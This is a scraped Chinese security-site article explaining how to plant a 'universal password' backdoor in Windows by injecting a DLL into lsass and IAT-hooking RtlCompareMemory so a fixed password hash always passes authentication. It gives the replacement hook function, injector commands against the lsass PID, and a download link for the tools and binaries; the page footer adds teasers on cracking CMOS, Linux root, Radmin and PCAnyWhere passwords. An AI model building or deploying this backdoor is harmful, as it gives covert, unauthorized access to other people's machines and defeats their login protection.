建站极客
网络安全 加密解密 正文
教你利用IAT hook实现windows通用密码后门
所属分类:
网络安全 / 加密解密
阅读数:
104
收藏 0
赞 0
分享
先不管是不是真的有,我们可以自己实现一个这样的后门。
先简单介绍一下windows登陆过程中的一些过程。
winlogon进程用gina.dll获取用户名和密码,通过LPC传给lsass进程。
然后lsass进程调用默认认证包msv1_0.dll来验证密码的对错。
而msv1_0则从SAM中获得用户的信息,包括密码的哈希。
要实现这样一个后门,首先要找到登陆验证这一系列函数的最底层的一个,然后在那里做手脚。
很明显,这个最底层的函数在lsass进程的msv1_0.dll模块中。
lsass调用msv1_0.dll的是这个函数:
代码:
msv1_0!LsaApLogonUserEx2
LsaApLogonUserEx2 in MSDN
那我们就应该调试lsass进程然后在msv1_0!LsaApLogonUserEx2下断点。
这里我使用windbg和vmware并利用dbgsrv进行远程的用户态调试。
http://blogs.msdn.com/spatdsg/archiv…27/507265.aspx
上面Spat在blog中介绍了如何用dbgsrv调试(Debugging LSA via dbgsrv.exe)。
在虚拟机(被调试端)运行
代码:
dbgsrv.exe -t tcp:port=1234,password=spat
然后在调试端运行
代码:
windbg.exe -premote tcp:server=192.168.1.102,port=1234,password=spat
然后选择附加lsass进程。
但这里我们不能登陆之后再运行dbgsrv,那样dbgsrv就被关掉了,所以我利用windows的任务计划让dbgsrv开机就运行起来。
虚拟机启动后,dbgsrv也起来了,然后用windbg连上并附上lsass进程。
在下了断点msv1_0!LsaApLogonUserEx2后,让lsass继续运行。
然后登陆,果然windbg断下来了。
这个时候给大家介绍windbg的一个强劲的命令,那就是wt,它能所有的记录函数调用关系,一直记录到ret,具体用法请看windbg帮助。
我猜wt是单步运行,所以很慢。
但是wt输出的文本很多,太难看了,于是我写了个python脚本把wt的输出转成一个TreeCtrl
大家注意看我鼠标点上的那个函数:ntdll!RtlCompareMemory。
经过调试我发现这个函数就是我要找的那个“最底层的函数”。
代码:
SIZE_T
RtlCompareMemory(
IN CONST VOID *Source1,
IN CONST VOID *Source2,
IN SIZE_T Length
);
RtlCompareMemory in MSDN
并且我还发现了验证密码时这个函数3个参数的细节,
Source1是从SAM中取出的用户密码的Unicode形式的md4哈希,
Source2是用户输入的密码的Unicode形式的md4哈希,
Length总是16,因为md4的哈希就是16位。
很容易我写出了下面这个替代的函数:
代码:
int WINAPI MyRtlCompareMemory(void *a, void *b, int len) {
if (len == 16 && pRtlCompareMemory(PASSWD_HASH, b, len) == 16)
return 16;
return pRtlCompareMemory(a, b, len);
}
其中pRtlCompareMemory是全局变量,是真正的RtlCompareMemory的地址,PASSWD_HASH是通用密码的哈希。
使用MyRtlCompareMemory来hook掉RtlCompareMemory,就可以实现预定的功能了。
如果要比较的是16位的,并且第二段内存与我们的哈希一样那就直接放行,不管第一段内存是什么。
也许有朋友会问,你这是hook了msv1_0模块内所有调用RtlCompareMemory的地方,不会出错吗?
放心吧,哪有那么巧,要比较的是16位的而且第二段内存又和我们的哈希一模一样?
要hook这个函数有很多方法,
我选择了最懒的一种,IAT hook dll注入。
于是我写了一个小工具来注入dll:DllInject
代码:
C:\Documents and Settings\cly\桌面\bin>InjectDll.exe
InjectDll v0.1
Inject/UnInject a dll file to a process, by cly, at 20080522
Usage:
InjectDll.exe (-i | -u | -U) pid filename
-i: Inject
-u: UnInject once
-U: UnInject at all
passdoor.dll是要注入到lsass进程的dll,这个dll在DllMain中实现了IAT hook,很土的技术了,就不贴代码了,网上一搜一箩筐。
然后我又写了一个小工具:pdconfig
其实就是改passdoor.dll中的哈希,以免要换密码是又要重新编译passdoor.dll。
使用方法:
代码:
InjectDll.exe -i pid_of_lsass full_path_of_passdoor.dll
卸载方法:
代码:
InjectDll.exe -U pid_of_lsass full_path_of_passdoor.dll
http://clyfish.googlepages.com/passdoor.rar
这里是本文中相关工具的源码以及编译好的二进制文件。
其中包括InjectDll.exe, passdoor.dll和pdconfig.exe,所有代码均使用MingW gcc4.2.1编译。
详述破解技术中的暴力破解原理 不可不说一下学习破解的三个阶段:
初级,修改程序,用ultraedit等工具修改exe文件,称暴力破解,简称爆破。
中级,追出软件的注册码。
高级,写出注册机。
先说这爆破。所谓爆破,就是指通过修改可执行文件的源文件,来达到相应的目
评论 0
收藏 0
赞 0
分享
简单不求人 轻松让你击破ATA硬盘密码 有些人利用ATA密码来保护储存在计算机硬盘中的数据,但是在大多数情况下攻击者都能轻松破译ATA密码,全面访问硬盘中的数据。
在美国,盗取个人及企业计算系统中的敏感信息已成为增长速度最快的罪行之一。据Gartner,IDC等分析机构统计,有近80%的笔记本电脑存有公司的
评论 0
收藏 0
赞 0
分享
恢复MySQL密码笔记 因为MySQL密码存储于数据库mysql中的user表中
所以只需要将我windows 2003下的MySQL中的user表拷贝过来覆盖掉就行了
在c:mysqldatamysql(linux 则一般在/var/lib/mysql/mysql/)目录下有三个user表相关
评论 0
收藏 0
赞 0
分享
验证码破解技术 所谓验证码,就是将一串随机产生的数字或符号,生成一幅图片,图片里加上一些干扰象素(防止OCR),由用户肉眼识别其中的验证码信息,
输入表单提交网站验证,验证成功后才能使用某项功能。不少网站为了防止用户利用机器人自动注册、登录、灌水,都采用了 验证码技术。
评论 0
收藏 0
赞 0
分享
软件破解技术-注册机和补丁制作 概念介绍
何为注册机?注册机就是针对某一软件,通过一定算法算出注册码的程序。我们写注册机时,一般都要了解注册码的算法(这当然是通过跟踪调试了解的),之后用汇编语言或其它高级语言来把算法还原。这样大家可根据自己的要求输入注册码,如根据自己的姓名,
评论 0
收藏 0
赞 0
分享
Linux系统中密码破解大全 (一)Linux 系统密码破解
1.在grub选项菜单按E进入编辑模式
2.编辑kernel那行 /init 1 (或/single)
3.按B重启
4.进入后执行下列命令
root@#passwd root (设置roo
评论 0
收藏 0
赞 0
分享
教你在15秒内破解出cmos密码的方法 如果你只想"15秒绿色环保型"请直接看方法3:
*如果你想对cmos有个深入的了解或揪出本文理解的不足,请看方法0,1,2,3-:)
----CMOS (Award)密码简介与破解0--3法----
计算机启动时,由存放在主板
评论 0
收藏 0
赞 0
分享
OllyDBG反汇编破解Radmin密码 Radmin 是一款很不错的服务器管理
无论是 远程桌面控制 还是 文件传输
速度都很快 很方便
这样也形成了 很多服务器都装了 radmin这样的
现在你说 4899默认端口 没密码的 服务器你上哪找?
大家都知道radmin的密码都是32位m
评论 0
收藏 0
赞 0
分享
破解PCAnyWhere远程连接的密码 由于NT的机器一般使用PCAnyWhere进行远程管理,Win2K的机器一般使用了终端进行远程管理,因此如果能够得到PCAnyWhere远程连接的帐号和密码,那么就能远程连接到主机。
问题的关键就是要得到PCAnyWhere的密码文件(*.CIF),然后使用PCa
评论 0
收藏 0
赞 0
分享
软件破解之“动态跟踪分析” 一、SOFTICE 配制
虽然大部分 VB 程序仍调用 Win32 API 函数,但如想在 VB dll 运行库中设断的话,你就必须把 VB dll 运行库加入 SOFTICE 配制里去。
下例是在 win95/98 下你把相关的 VB DLL 运行库加入
评论 0
收藏 0
赞 0
分享
查看更多